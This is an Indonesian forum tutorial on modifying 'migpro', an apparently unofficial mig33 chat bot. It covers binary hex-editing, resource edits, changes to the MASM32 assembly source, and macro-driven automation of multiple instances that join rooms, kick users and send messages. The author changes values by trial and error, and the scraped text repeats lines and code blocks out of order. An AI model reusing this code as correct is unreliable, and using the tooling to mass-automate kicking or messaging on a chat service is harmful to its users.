Klo sukses mengkompilasinya, tampilan command prompt tu ky gini:
Tapi gw pikir cara yg enak bwt ngejalanin file batch (*.bat) tu pake cara manual dr command prompt, jd qta bs liat prosesnya wktu kompilasi..
Klo qta mengeksekusi file batch dgn cara dobel klik file batch, maka bgitu selesai command prompt nya bakalan nutup otomatis..
Qta ga bs liat prosesnya atau mungkin klo ada kesalahan..
Cara manual tu ketik cmd dr Run di Start Menu, tampilannya ky gini..
trus masuk ke folder kerja dgn cara ngetik cd c:\migpro, ky dbwh ini..
trus pencet ENTER, foldernya jd ganti ke folder kerja lo, ky gini..
Ato cara yg lbh gampang, lo bs masuk ke command prompt dan lgsg berada di folder yg lo mau..
Caranya edit registry lo..
Kopi aja skrip dbwh ini ni trus paste di Notepad..
Simpen jd file baru dgn ekstensi reg, misalnya commandprompt.reg
Abis lo simpen tu file, jalanin dgn cara dobel klik..
Setelah filenya sukses bergabung ke dalam database sistem, lo bs masuk ke command prompt dan lgsg berada di folder yg lo mau dgn cara klik kanan folder di windows explorer trus pilih Command Prompt from here..
Skrg lo dah berada di dlm command prompt dan dlm folder kerja lo..
Tinggal ketik makeit bwt mengkompilasi, ky dbwh ini..
Slnjtnya masm32 bakalan bekerja dan lo bs ngliat prosesnya..
Trus klo qta pgn skaligus mengkompilasi bnyk file gmn?
Lo bisa edit file batch supaya MASM32 mengompilasi scara skaligus smua file asm dan file res lo..
Misalnya lo punya 10 file migpro.asm dan 10 file migpro.res...
Asm source code:
migpro01.asm
...
...
migpro10.asm
Resources:
migpro01.res
...
...
migpro10.res
Maka perintah dlm file makeit.bat jd ky gini:
Cara eksekusinya sama ky diatas, ketik makeit, ky contoh dbwh ini..
Pas lo pencet ENTER, MASM32 bakalan mengambil alih..
Nah sekarang lo dah punya bnyk file migpro dlm 1 folder..
Trus jgn lupa duplikasi file ini nya bwt stiap file migpro nya, krn klo lo lupa itu adalah perbuatan..auk!
--------------------------------------------------------------------------------
INFO TAMBAHAN
Klo lo nginstall MASM32 ke drive selain C, contohnya drive D (D:\masm32), ato working folder lo berada di drive lain selain C ato D, maka lo harus edit baris2 berikut ini...
1. File makeit.bat
2. File migpro.asm
EKSPERIMEN GW DI TINGKAT MENENGAH
Skrg gw akan ngebahas percobaan gw trhdp source code migpro..
Perlu diingat, bagian ini adalah PERCOBAAN TANPA GW NGERTI APA MKSUDNYA..
Jd smuanya trial and error hehehe...
--------------------------------------------------------------------------------
A. Perubahan pada migpro di migpro command center v1.0.2 beta
1. Menghilangkan Socket error Message Box
Di migpro command center v1.0.2 beta gw melakukan bbrp perubahan pd aplikasi migpro..
Yg akan gw bahas adalah cara mengalihkan "Socket error" Message Box yg terkenal itu sehingga menyatu ke dlm aplikasi migpronya..
Jd klo terjadi socket error ga nongol lg tu Message Box..
Coba liat di source code migpro yg asli ttg Message Box itu..
Code diatas itu yg nongolin Message Box..
Mkin bnyk migpro yg dijalanin, mkin bnyk jg Message Box yg nongol..
Gw pindahin tu pesan socket error ke dlm TextBox migpro yg berlabel TEXT_MAIN
TEXT_MAIN tu kotak tempat nongolin sgala pesan slama migpro dijalankan..
Tau kan yg mana..
Ni code nya..
Gw ga tau apa artinya, tp gw cobain aja..
Code itu gw contek dr bagian yg ini..
Dmn code itu menyatakan pesan LOGIN SUCCESFULL yg lo liat wktu lo login dgn sukses..
Dan gw ganti smua bagian yg ada invoke MessageBox,NULL,addr socketerror,addr socketerror,MB_OK jd invoke SetDlgItemText,hwwnd,TEXT_MAIN,addr socketerror
--------------------------------------------------------------------------------
2. Mengganti nilai byte
Trus modifikasi yg laen adalah gw nyoba ganti bbrp nilai yg terdapat di bagian2 ky gini..
Gw ga lgsg ganti ke nilai yg lbh tinggi coz gw mo liat dl efeknya stlh gw rilis v1.0.2 beta ini..
--------------------------------------------------------------------------------
[color=#FFFF00B. Perubahan pada migpro di migpro command center v2.0.0[/color]
Stlh bbrp hr migpro command center v1.0.2 beta gw rilis, trnyata gada masalah dgn perubahan yg gw lakukan sblmnya itu..
Gada yg melaporkan terjadinya hal2 yg berhub sm penurunan performa aplikasi migpro, walopun jg gada yg melaporkan terjadinya hal2 yg berhub sm peningkatan performa aplikasi migpro wakakak
Di v2 ini gw melakukan lg bbrp perubahan..
Dan sm ky sblmnya, modalnya jg cm coba2 doank
Berikut ini adalah kronologis hasil olah TKP nya..
--------------------------------------------------------------------------------
1. Tipe Prosessor
Yg pertama gw ganti bagian yg ini..
dmn .386 tu mungkin menyatakan klo aplikasi yg dikompilasi kompatibel sm prosesor Intel 386..
Nah, di otak gw klo aplikasi dibikin kompatibel sm prosesor jadul, berarti mungkin ada bbrp performa yg dikorbankan..
So gw coba ganti jd ky gini..
Kali aja jd naek performanya hehehe..
Ada bbrp pilihan dlm menyatakan jenis prosessor itu..
.386
.486
.586
.686
.686P
Nah tinggal pilih d..
Tapi gw mutusin bwt make yg 486 dl sambil liat2 perkembangannya..
2. Menampilkan ID di aplikasi migpro
Perubahan selanjutnya adalah menampilkan ID qta di TextBox aplikasi migpro..
Dlm langkah ini gw bikin TextBox tambahan di Resource migpro nya (*.res)
Liat di gmbr berikut ini..
TextBox yg ada tulisan vortex01 itu yg gw tambahin..
Code di file resourcesnya (buka pake Resource Hacker) tu..
Dmn STATIC adalah tipe textbox yg ga bs diedit, ga bs diketik mksdnya..
1002 adalah nilai yg gw kasi biar Control itu dikenali oleh migpro..
Dan gw tambahin baris kode ini di source code migpro..
Nama yg gw kasi TEXT_ID
Nyontek2 bagian yg laen lah dasarnya..
Dan biar textbox itu lgsg nampilin ID qta, maka gw tambahin baris kode dibagian berikut ini..
Ni bagian yg gw tambahin..
--------------------------------------------------------------------------------
3. Menyatukan semua konfigurasi migpro ke dalam 1 file
Trus kpikir lg sm gw (dah dr dl gw pikirin tp baru nemu di v2 ini) gmn caranya menyatukan smua konfigurasi migpro itu ke dlm 1 file ini aja..
Qta tau isi di dlm file konfigurasi migpro tu ky gini..
Gw pgn smuanya ditumpuk ke dlm 1 file itu, jd nantinya ga bnyk proses penyimpanan file yg dilakukan migpro command center..
Skali save, smuanya ke-save..
Nah gw coba bikin file konfigurasi itu jd ky gini..
Skrg tinggal ngerubah source code migpro nya biar file konfigurasinya jln..
Gw edit bagian yg ini..
Liat perubahan yg gw lakukan dbwh ini...
Kode diatas bwt 1 aplikasi migpro, yaitu migpro01
Tinggal ganti2 bwt migpro lainnya, ky gini..
Jd tinggal ganti bagian uname dan password doank..
Dan gw ganti di smua bagian yg nyebut2 uname dan password dgn id01 dan pwd01
Oia, 1 lg yg hrs ditambahin, yaitu dibagian ini...
Jadilah smuanya dlm 1 file..
4. Mengganti nilai byte
Trus gw inget lg sm nilai byte yg prnh gw ganti di v1.0.2 beta..
Kali ini gw naikin lg nilainya jd..
Dan ga smua bagian gw ganti nilainya jd sgitu..
Ada bbrp bagian yg ga perlu diganti sampe sgitu bnyk..
Soale ada bbrp hal yg baru gw sadari stlh bbrp x uji coba..
Bagian2 itu adalah:
gw ganti jd..
id01 gw ganti jd 21 krn pjg username maksimal cm 20 karakter kan?
nah gw ganti jd 20, hasilnya ID gw yg 20 digit ga bs login..
gw ganti jd 21, eh baru bs..
yaudah gw berkesimpulan harus ditambahin 1 hehehe..
pwd01 gw ganti jd 256 krn password mig33 kynya ga dibatesin ya?
mo panjang sbrp jg bs..
mknya pernah ga lo ngalamin ga bs login molo dgn migpro yg asli dan ID lo punya password ky KRL jabotabek?
itu dikarenakan migpro asli cm nge-set 50 byte..
Password yg lebih dr 50 karakter bakalan ga bs login..
mknya gw mutusin ganti jd 256 coz password terpanjang gw cm 100an digit
5. Info tambahan (teks entering the room.., leaving the room.. dan kicking)
Bagian ini awalnya gw bikin cm bwt ngetest aja, keystroke yg gw bikin di Jitbit jalan dan kena sasaran ga..
Soale gw ga make mouse-click, tp pake kibord, jd gw hrs tau tombol kibord yg dikirim sm Jitbit ke aplikasi migpro mendarat di tmpt yg bener ga..
Bwt keperluan ini gw tambahin teks entering the room..., leaving the room... dan kicking, dan akan nongol klo tombol Enter, Leave ato Kick dipencet..
Gw kasi baris kode ky gini..
dan biar teks itu nongol di textbox TEXT_MAIN, gw tambahin baris kode berikut ini..
Trus gw test script Jitbit yg dah gw bikin dgn cara menjalankannya berulangkali..
Gw pratiin, stiap gw klik tombol Enter di mcc nongol ga teks entering the room...
ato stiap gw klik tombol Leave di mcc nongol ga teks leaving the room...
ato stiap gw klik tombol Kick di mcc nongol ga teks kicking
dan ternyata smuanya berjalan dgn baik..
Teks yg nongol sesuai dgn tombol yg gw pencet..
brarti klo gw coba scara online seharusnya dah tepat, aksi apa yg terjadi ktika gw mencet sbuah tombol..
dan emank tepat ternyata pas gw cobain online..
brarti beres! :p
--------------------------------------------------------------------------------
6. Tombol ?
Yah ini cm bwt keren2an doank..
biar nama gw nongol klo ada yg iseng mencet tombol ? hehehe..:p
cincaylah ama gw..
itung2 numpang ngetop wakakakak...
Pertama, gw tambahin tombol ? di resources migpro..
ni kodenya..
3005 adalah nilai yg gw kasi biar Control itu dikenali oleh migpro..
Dan gw tambahin baris kode ini di source code migpro..
Nama yg gw kasi IDC_ABOUT, dan skali lg, ini adalah berdasarkan nyontek dr bagian laen hehehe..
di bagian ini jg gw tambahin.
trus biar teks "this migpro was modified by vortex" nongol pas tombol ? dipencet, gw nambahin kode ini..
7. Send Message
Ini perubahan terakhir yg disanggupi otak gw di v2..
Bagian ini yg butuh wktu lbh lama..
berkali2 ga jalan stiap gw mencet tombol Send Message di mcc v2..
Yg gw pengen awalnya tuh bgitu dipencet tombol Send Message, lgsg d message nya terkirim..
tapi gw ga nemu2 caranya, smntara si Kimi Raikkonen dah nelpon gw molo minta dikirimin mcc v2 ke imelnya hehehe..
Yaudah, gw pake cara berbelit2 aja d..
yg penting jalan
Dlm file konfigurasi migpro, di baris2 paling akhir gw tambahin ky gini..
Itu sm ky bagian id01= atau pwd01= atau room= atau kick01= dan bagian itu bwt nampung data message yg mo dikirim ke mig33..
gw namain ngocol coz... ya suka2 gw donk!
Pertama gw tambahin dl kode dibagian .data, ky gini..
dimana ngocol01 adalah data pesan dr migpro01..
trus gw tambahin jg baris kode di bagian .data? ky gini..
baris ini cm nyontek aja dr baris lainnya..
tp stlh gw rilis v2, gw baru nyadar ternyata gw blm ganti nilai 50, coz 50 cm bisa nampilin 49 karakter (ky yg dah dibahas sblmnya)...
mungkin di rilis berikutnya akan gw ganti jd 81, biar pas 80 karakter ky yg diijinkan mig33..
Nah, berikut ini yg gw maksud dgn cara berbelit2..
Ni urutan prosesnya..
1. Bgitu tombol Send Message di mcc v2 dipencet, teks message nya lgsg di-save di file konfigurasi
2. Selesai di-save, lgsg script jitbit yg dah dikompilasi jd exe dijalankan dan memberikan keystroke ke tombol Send di aplikasi migpro
3. Begitu Tombol Send di aplikasi migpto dipencet (dipencet sm jitbit melalui keystroke), migpro lgsg ngebaca teks yg ada di file konfigurasinya (ngocol01=)
4. Gmn cara dia baca?
Di bagian ini yg dah gw tambahin baris kodenya..
kode invoke GetPrivateProfileString,addr khead,addr omong,addr szNull,addr ngocol01,sizeof ngocol01,addr CurrentDir inilah yg akan membaca isi teks yg ada di file konfigurasi migpro itu.
Bgitu dibaca, gw merintahin migpro bwt nampilin teks itu di textbox EDIT_TEMP (tempat qta ngetik pesan di aplikasi migpro yg asli) ketika tombol Send di aplikasi migpro dipencet..
Baris kodenya ky gini..
kode invoke GetPrivateProfileString,addr khead,addr omong,addr szNull,addr ngocol01,sizeof ngocol01,addr CurrentDir inilah yg bertugas membaca isi teks di file konfigurasi migpro dan kmudian menampilkannya di textbox EDIT_TEMP
ini berarti sm aja kan ky qta ngetik manual di textbox EDIT_TEMP?
hehehe... gw bermain akal2an disini walopun jdnya berbelit2..
kode invoke GetDlgItemText,hWnd,EDIT_TEMP,addr DLGtext,50 ini jg lupa gw ganti coz nilai 50 cm nampilin 49 karakter..
beres deh!
skrg gw tinggal ngerubah EDIT_TEMP jd STATIC aja di resource migpro..
kodenya ky gini..
knp gw ganti jd static?
krn aksi yg gw bikin di Jitbit kan pake keystroke, dan gw milih perpindahan antar tombolnya tu pake tombol UP dan DOWN
nah dgn tombol ini klo kursor nyasar di textbotx EDIT_TEMP, yaudah wassalam..
tu kursor ga bs kmn2 lg, terjebak aja di textbox itu..
buktiin aja sendiri..
lo jalanin migpro yg asli, trus lo pencet tombol DOWN smpe kursornya masuk ke textbox EDIT_TEMP..
ampe gila jg ga bakalan pindah tu kursor walopun lo pencet tombol UP ato DOWN berkali2..
Bwt menghindari kelemahan tombol UP dan DOWN ini sbnrnya bisa diakalin dgn menggunakan tombol TAB..
tp tombol TAB dipencet berkali2 dia jalan terus...
pindah terus ke stiap Control yg ada di resources migpro..
buktiin lg..
jalanin migpro yg asli trus pencet tombol TAB berkali2..
pindah terus kan dia?
Knp gw ga mau dia pindah terus?
krn ada kmungkinan keystroke tu nyasar klo qta jalanin aksi jitbit berkali2 dgn intensitas dan frekuensi tinggi..
nah mknya gw make tombol UP dan DOWN coz klo dia dah nyampe di tombol ENTER nya aplikasi migpro, dia ga bisa kmn2 lg..
bwt tindakan minimalisasi salah pendaratan aja..
jd rada aman lah hehehe...
soale dgn mengganti EDIT_TEMP jd STATIC fokusnya (kursor) ga bakalan mampir kesana..
--------------------------------------------------------------------------------
Bwt info:
migpro selalu membaca ulang file konfigurasinya stiap x qta mencet tombol Enter, Leave, Kick ato Send..
ini yg gw pegang dlm hal mengontrol file konfigurasi migpro, termasuk dlm hal Send Message..
Stiap x mencet tombol Send Message di MCC, maka MCC akan nge-save dl teks yg ada di textbox message nya..
Abis itu br aksi jitbit dijalanin, yaitu mencet tombol Send di aplikasi migpro..
bgitu tombol ini dapet pencetan (apaan coba pencetan) maka migpro akan ngebaca ulang file konfigurasinya, trus baru bertindak sesuai amanat dr MCC..
Nah dr kelakuan migpro ini, gw yakin lo pasti bs nemuin bnyk hal yg bs diutak atik..
--------------------------------------------------------------------------------
Selesai deh!
selama seminggu gw test dl MCC v2 dikalangan terbatas..
stlh memastikan gada error (stdk2nya dr hasil reporting) baru gw rilis ke publik..
tp tetep aja gw lupa bwt ngedit nilai2 yg hrsnya gw edit sblm gw rilis ke publik..
di rilis brikutnya d, klo gw blm bosen ama MCC..
wokeh sgitu aja..
smoga bermanfaat dan lo bisa nemuin fitur2 baru berdasarkan yg dah gw kerjain ini..
ato mungkin bisa mempersingkat prosesnya..
slamet ngutak atik!
C. migpro command center v2.0.0 addons
Sejak 10 April 2008, berbarengan sm mig33 ngeluncurin paket emotikonnya yg baru, hampir smua pengguna migpro mengalami error. Stiap kali migpro dah login, lgsg d nongol error Don't Send yg ngetop itu..
aplikasi migpro bawaan migpro command center jg eror..
jd gw bikin modifikasi baru yg memiliki bbrp konfigurasi yg berbeda, trs gw kumpulin smuanya kedlm addons..
modifikasi yg gw bikin cm di 2 bagian..
1. Tipe Prosesor
Gw cm make 2 tipe prosesor, .386 dan .486
Folder A01 - A05 make .386
Folder A06 - A10 make .486
--------------------------------------------------------------------------------
2. Mengganti nilai byte
Di bagian ini gw naekin nilainya jd 2048 smpe 3072
Dgn 2 bagian modifikasi itu, aplikasi migpro jalan lg..
Tapi smpe skrg gw masi blm ngerti apa hubungan modifikasi yg gw bikin itu sm eror yg nongol sjk tgl 10 April..
--------------------------------------------------------------------------------
D. Eksperimen Baru
Gw nemuin cara biar migpro bisa ngebaca IP Address dari file konfigurasinya..
Coba liat modifikasi yg gw bikin..
Pertama di bagian .data directive (section)
Kedua di bagian .data? directive (section)
trakhir di bagian prosedur DlgProc proc..
aslinya ky gini:
ini modifikasi gw:
trus di file konfigurasinya gw tambahin:
gitu doank..
tapi gw blm tau gmn caranya supaya migpro jg bisa ngebaca Port Number nya dr file konfigurasinya..
--------------------------------------------------------------------------------
Ini hasil edit trakhir yg gw lakukan pd source code migpro..
selamat mengutak atik
Haloo..
Karena bnyk pertanyaan ke gw ttg ngedit aplikasi migpro, gw tulis aja d tutorial singkat bwt ngedit migpro lo..
Tutorial yg bakalan lo baca ini cm bwt ngedit gmn si migpro ngebaca file konfigurasi (setup.ini) sm tampilan migpro itu sendiri..
Jd bkn ngedit fitur2nya migpro itu..
Smoga aja yg bikin migpro ga ngamuk aplikasinya diacak2 hehehe..
Klo lo blm punya migpro yg asli, dongdot dolo dr link dbwh ini..
Code:
http://www.evilshare.com/bbebaeca-3682-102b-a5a4-000b6aa2a5f8
Isi file zip nya:
1. migpro.exe (aplikasi migpro yg dah jd)
2. setup.ini (file konfigurasi migpro)
3. migpro.asm (source code migpro)
4. makeit.bat (file batch bwt kompilasi migpro)
5. rsrc.res (resources file)
6. ReadmeFirst.txt
Migpro yg asli ini make alamat IP 66.151.149.102 bwt konek ke server mig33.
Sblm qta mulai, ada baiknya klo qta nyamain lingkungan kerja dl..
1. Bikin folder baru di drive C, namanya "migpro", jd lengkapnya "C:\migpro"
2. Duplikasi file "migpro.exe", "migpro.asm", "makeit.bat" dan "migpro.ini" ke folder "C:\migpro"
3. Simpen aja nama file ky yg gw kasi tau dlm tutorial ini (ntar sljtnya lo bs bikin nama file sendiri abis nyelesain tutorial ini)
4. "Buka file" dan "Simpan file" dlm tutorial ini artinya buka dan simpan file dari dan ke folder "C:\migpro"
BAGIAN I - MODIFIKASI MIGPRO - TINGKAT PEMULA
Perlengkapan:
1. UltraEdit
Code:
http://www.ultraedit.com/index.php?name=Downloads&d_op=getit&lid=1
gw make UltraEdit yg v6, jd kecil filenya..
klo UltraEdit yg paling baru kynya gede deh..
klo ga mau pake UltraEdit yg gede itu, coba pake Notepad++
Notepad++
Code:
http://downloads.sourceforge.net/notepad-plus/npp.4.8.5.Installer.exe?modtime=1207960310&big_mirror=0
(cuma sekitar 2 Mb-an)
2. Resource Hacker
Code:
http://vortexmind.wen.ru/application/reshack.zip?4702
Di bagian ini, qta ga perlu aplikasi compiler (bhs indonye ape?) yg ribet..
2 aplikasi diatas dah cukup bwt ngobrak abrik migpro hehehe...
[color=#FFBF001. MODIFIKASI FILE KONFIGURASI DAN ALAMAT IP][/color]
A. Memodifikasi Alamat IP Pada Aplikasi Migpro
Di seksi ini qta bakalan ganti alamat IP yg dipake ama file migpro.exe..
Buka file migpro.exe pake UltraEdit..
Cari teks 66.151.149.102 (jgn lupa centangin Find ASCII di kotak dialog Find nya UltraEdit) ky gmbr dbwh ini:
Klik "0" di 66.151.149.102 trus ketik "1" ky gmbr dbwh ini:
jadinya ky gini ni:
Trus simpen filenya..
Sampe disini qta punya file migpro yg baru yg dah make alamat IP yg baru jg..
Qta bs jalanin tu aplikasi ky biasa..
Trus klo lo mau jalanin migpro skaligus banyak, duplikasi aja file migpro.exe sm setup.ini ke bbrp folder..
Edit smua file setup.ini, beres deh!
B. Memodifikasi File Konfigurasi Pada Aplikasi Migpro
Tapi cara diatas ga mantafff..
Karena qta butuh bnyk folder dgn cara ini..
Skrg qta bkin smua file migpro nya dlm 1 folder..
Buka file migpro.exe yg barusan lo simpen dan cari teks setup.ini ky gmbr dbwh ini:
Ganti teksnya suka2 lo, mislnya set01.ini ky gmbr dbwh ini:
Tapi jgn lebih dr 5 huruf yeh.. Ga muat!
Lagipula itu dosa besar!
Trus simpen filenya dgn nama migpro01.exe
Dan ulangi langkah2 diatas sampe lo punya migpro sebanyak lo suka..
Contohnya, abis lo edit file migpro.exe dan ganti teks setup.ini jd set01.ini trs simpen sbg migpro01.exe, lo bs edit lg teksnya jd set02.ini dan nyimpen filenya jd migpro02.exe and so on and so on..
Skrg lo punya banyak file migpro dlm 1 folder..
Trus jgn lupa duplikasi file ini nya bwt stiap file migpro nya..
Sbg contoh..
migpro01.exe dan set01.ini
...
...
migpro10.exe dan set10.ini
2. MODIFIKASI TAMPILAN MIGPRO
Migpro yg asli bentuknya ky gini ni:
Klo itu kegedean bwt lo, lo bs modif biar jd kcilan dikit, ganti titlebar ato ngapus tombol, ky gmbr dibwh ini:
Buka file migpro1.exe pake Resource Hacker ky gmbr dbwh ini:
Dlm gmbr diatas, lo bisa..
1. Ganti titlebar migpro jd suka2 lo dgn ganti bagian dlm lingkeran merah..
2. Ganti ukuran textfield (nomer 1 & 2) dan tombol2 dgn cara klik bagian yg mo lo modif, trs atur suka2 lo dgn cara ngegeser kursornya ky dlm lingkeran biru..
3. Ganti ukuran window migpro dgn cara ngegeser kursor ky yg ditunjukin dalem lingkeran hijau..
4. Ngapus textfield ato tombol dgn cara klik bagian yg mo diapus trus pencet Delete di kibord..
5. Mengganti teks yg nongol di tombol, contohnya lo bs ganti teks "Rejoin/Join Chat Room" dgn mengganti bagian ini:
Code:
CONTROL "Rejoin/Join Chat Room", 3001, BUTTON, BS_DEFPUSHBUTTON | BS_FLAT | WS_CHILD | WS_VISIBLE | WS_TABSTOP, 136, 23, 117, 14
Edit bagian "Rejoin/Join Chat Room" nya aja yah, jgn bagian lain di baris itu..
Abis lo modif, klik tombol Compile Script ky yg ditunjukin dalem lingkeran kuning, trus simpen filenya dan ulangi langkah2 diatas sampe lo punya sebanyak mungkin file migpro yg lo pengen..
Skrg lo dah punya file2 migpro yg lo pengen dgn titlebar nya beda2, dlm 1 folder..
EKSPERIMEN GW DI TINGKAT PEMULA
Klo lo dah nyobain migpro command center v1.0.2 beta pasti lo liat migpro command center bisa mengatur posisi migpro scara otomatis di desktop..
Sbnrnya bkn migpro command center yg melakukan itu, tapi migpro nya sendiri..
Krn gw ga bs nemuin script yg bikin pengaturan otomatis di desktop, maka gw melakukan sdikit trik biar migpro sendiri yg ngatur dirinya hehehe...
Liat gambar dbwh ini..
dan liat baris code ini..
Code:
MIGDIALOG DIALOGEX 10, 10, 258, 95
STYLE DS_MODALFRAME | DS_CENTER | WS_MINIMIZEBOX | WS_VISIBLE | WS_CAPTION | WS_SYSMENU
EXSTYLE WS_EX_DLGMODALFRAME
STYLE DS_MODALFRAME | DS_CENTER | WS_MINIMIZEBOX | WS_VISIBLE | WS_CAPTION | WS_SYSMENU
EXSTYLE WS_EX_DLGMODALFRAME
nilai 10, 10 adalah posisi migpro di desktop (koordinat X dan Y), smntara 258, 95 adalah ukuran windownya..
nilai 10, 10 itu artinya migpro berada di kiri atas desktop, tp ga mepet bgt si di kiri atas..
Gw ganti nilai 10, 10 jd 0, 0 yg hasilnya tu migpro bakalan berada tepat di kiri atas desktop..
tapi nilai ini ga ngaruh klo DS_CENTER masi didefinisikan..
jd gw apus tu DS_CENTER..
dan hasilnya supaya migpro bener2 berada di kiri atas desktop..
Code:
MIGDIALOG DIALOGEX 0, 0, 258, 95
STYLE DS_MODALFRAME | WS_MINIMIZEBOX | WS_VISIBLE | WS_CAPTION | WS_SYSMENU
EXSTYLE WS_EX_DLGMODALFRAME
STYLE DS_MODALFRAME | WS_MINIMIZEBOX | WS_VISIBLE | WS_CAPTION | WS_SYSMENU
EXSTYLE WS_EX_DLGMODALFRAME
trus gw bikin modifikasi tambahan ky gini..
Code:
MIGDIALOG DIALOGEX 0, 0, 258, 95
STYLE DS_MODALFRAME | WS_MINIMIZEBOX | WS_VISIBLE | WS_CAPTION | WS_SYSMENU
EXSTYLE WS_EX_TOOLWINDOW
STYLE DS_MODALFRAME | WS_MINIMIZEBOX | WS_VISIBLE | WS_CAPTION | WS_SYSMENU
EXSTYLE WS_EX_TOOLWINDOW
dgn WS_EX_TOOLWINDOW maka migpro ga nongol di taskbar, jd ga bikin taskbar semrawut lg..
catetan:
klo make WS_EX_TOOLWINDOW maka ada fitur JitBit Macro Recorder yg ga jalan..
fitur itu adalah "Switch to a window" command..
makanya klo lo make fitur ini di JitBit, di resource migpro jgn kasi WS_EX_TOOLWINDOW karena JitBit ga bs nemuin window yg ga nongol di taskbar...
trus migpro2 slnjtnya gw edit lg ky diatas, cm beda2 nilai..
slh 1 nya ky gini..
Code:
MIGDIALOG DIALOGEX 262, 0, 258, 95
STYLE DS_MODALFRAME | WS_MINIMIZEBOX | WS_VISIBLE | WS_CAPTION | WS_SYSMENU
STYLE DS_MODALFRAME | WS_MINIMIZEBOX | WS_VISIBLE | WS_CAPTION | WS_SYSMENU
BAGIAN II - MODIFIKASI MIGPRO - TINGKAT MENENGAH
Perlengkapan:
1. UltraEdit ato Notepad++
2. Resource Hacker
3. MASM32
Code:
http://www.masm32.com/masmdl.htm
Di bagian ini kita bakalan ngedit migpro dgn cara ngutak atik source code nya..
Klo lo blm punya migpro yg asli, dongdot dolo dr link dbwh ini..
Code:
http://www.evilshare.com/bbebaeca-3682-102b-a5a4-000b6aa2a5f8
Isi file zip nya:
1. migpro.exe (aplikasi migpro yg dah jd)
2. setup.ini (file konfigurasi migpro)
3. migpro.asm (source code migpro)
4. makeit.bat (file batch bwt kompilasi migpro)
5. rsrc.res (resources file)
6. ReadmeFirst.txt
Migpro yg asli ini make alamat IP 66.151.149.102 bwt konek ke server mig33.
Sblm qta mulai, ada baiknya klo qta nyamain lingkungan kerja dl..
1. Bikin folder baru di drive C, namanya "migpro", jd lengkapnya "C:\migpro"
2. Duplikasi file "migpro.exe", "migpro.asm", "makeit.bat" dan "migpro.ini" ke folder "C:\migpro"
3. Simpen aja nama file ky yg gw kasi tau dlm tutorial ini (ntar sljtnya lo bs bikin nama file sendiri abis nyelesain tutorial ini)
4. "Buka file" dan "Simpan file" dlm tutorial ini artinya buka dan simpan file dari dan ke folder "C:\migpro"
--------------------------------------------------------------------------------
Di bagian ini, qta bisa memodif migpro ky di bagian sblmnya, ditambah ngedit Port krn migpro yg asli tu make Port 25.
Dlm bbrp kasus Port ini bs memicu antivirus bwt bereaksi dan hasilnya Socket error d..
Abis lo menginstalasikan MASM32 (folder standardnya di C:\masm32 dan install aja di folder ini), lo dah bs mulai ngedit source code migpro yg asli (migpro.asm)
--------------------------------------------------------------------------------
1. MODIFIKASI FILE KONFIGURASI, ALAMAT IP DAN PORT
Buka file migpro.asm pake UltraEdit (pake Notepad jg bisa), trus cari baris kode ini:
Code:
.data
DlgName db "MigDialog",0
;********INI***********
khead db "details",0
kickUname db "kickuname",0
chatroom db "chatroom",0
inifilename db "setup.ini",0
backslash db "\",0
szNull db 0
unamafini db "uname",0
pfini db "password",0
;***********************
;***********************
sucLogin db "LOGIN SUCCESFULL",0
;************************
IPAddress db "66.151.149.102",0 ; i decied to make it static
Port dd 25
socketerror db "socket error",0
wsadata WSADATA <>
sin sockaddr_in <>
DlgName db "MigDialog",0
;********INI***********
khead db "details",0
kickUname db "kickuname",0
chatroom db "chatroom",0
inifilename db "setup.ini",0
backslash db "\",0
szNull db 0
unamafini db "uname",0
pfini db "password",0
;***********************
;***********************
sucLogin db "LOGIN SUCCESFULL",0
;************************
IPAddress db "66.151.149.102",0 ; i decied to make it static
Port dd 25
socketerror db "socket error",0
wsadata WSADATA <>
sin sockaddr_in <>
edit baris yg mengatur file konfigurasi, yg aslinya ky gini:
Code:
inifilename db "setup.ini",0
ganti jd "setup01.ini" ky gini:
(lo bs ganti jd lbh dr 5 huruf ato suka2 lo, tp ikutin aja dl ky gitu.. ntar aja lo coba2 ndiri)
Code:
inifilename db "setup01.ini",0
trus ganti alamat IP dan Port nya, yg aslinya ky gini:
Code:
IPAddress db "66.151.149.102",0 ; i decied to make it static
Port dd 25
trus ganti alamat IP dan Port nya, yg aslinya ky gini:
Code:
IPAddress db "66.151.149.102",0 ; i decied to make it static
Port dd 25
jd ky gini:
Code:
IPAddress db "66.151.149.112",0 ; i decied to make it static
Port dd 9119
Port dd 9119
trus simpen filenya jd file baru, migpro01.asm
2. MODIFIKASI TAMPILAN MIGPRO
Sekarang qta perlu mengekspor file resources nya..
Kaya yg dah disebutin sebelumnya di Bagian I, seksi 2 ttg cara modifikasi tampilan migpro, qta perlu melakukan ky gitu lg..
cuma bedanya abis qta klik tombol Compile script, ga perlu di save jd file baru, tapi qta save resourcesnya aja dgn cara klik Action di menu Resource Hacker ky gmbr dibwh ini:
Simpen resourcesnya dgn nama file migpro01.res
bisa aja nyimpen dgn nama laen, tp biar gmpang ajalah bwt langkah selanjutnya..
skrg qta dah punya 2 file baru: migpro01.asm dan migpro01.res
3. KOMPILASI MIGPRO
Di bagian sblmnya qta dah punya 2 file baru: migpro01.asm dan migpro01.res
2 file ini yg diperluin bwt proses kompilasi bwt menghasilkan file aplikasi migpro yg baru..
Buka file makeit.bat pake Notepad..
Ni baris2 perintah didlm file makeit.bat..
Code:
@echo off
\masm32\bin\ml /c /coff /Cp migpro.asm
\masm32\bin\link /SUBSYSTEM:WINDOWS /LIBPATH:\masm32\lib migpro.obj rsrc.res
\masm32\bin\ml /c /coff /Cp migpro.asm
\masm32\bin\link /SUBSYSTEM:WINDOWS /LIBPATH:\masm32\lib migpro.obj rsrc.res
Skrg qta bisa mengeksekusi file batch nya bwt mengkompilasi migpro..
Dobel klik file makeit.bat dan selanjutnya MASM32 yg bekerja, dan hasilnya kompi lo bakalan mledak wakakakak...
Hasilnya adalah file aplikasi migpro yg baru, yg namanya migpro01.exe
Klo sukses mengkompilasinya, tampilan command prompt tu ky gini:
Code:
Microsoft (R) Macro Assembler Version 6.14.8444
Copyright (C) Microsoft Corp 1981-1997. All rights reserved.
Assembling: migpro01.asm
Microsoft (R) Incremental Linker Version 5.12.8078
Copyright (C) Microsoft Corp 1992-1998. All rights reserved.
Copyright (C) Microsoft Corp 1981-1997. All rights reserved.
Assembling: migpro01.asm
Microsoft (R) Incremental Linker Version 5.12.8078
Copyright (C) Microsoft Corp 1992-1998. All rights reserved.
Tapi gw pikir cara yg enak bwt ngejalanin file batch (*.bat) tu pake cara manual dr command prompt, jd qta bs liat prosesnya wktu kompilasi..
Klo qta mengeksekusi file batch dgn cara dobel klik file batch, maka bgitu selesai command prompt nya bakalan nutup otomatis..
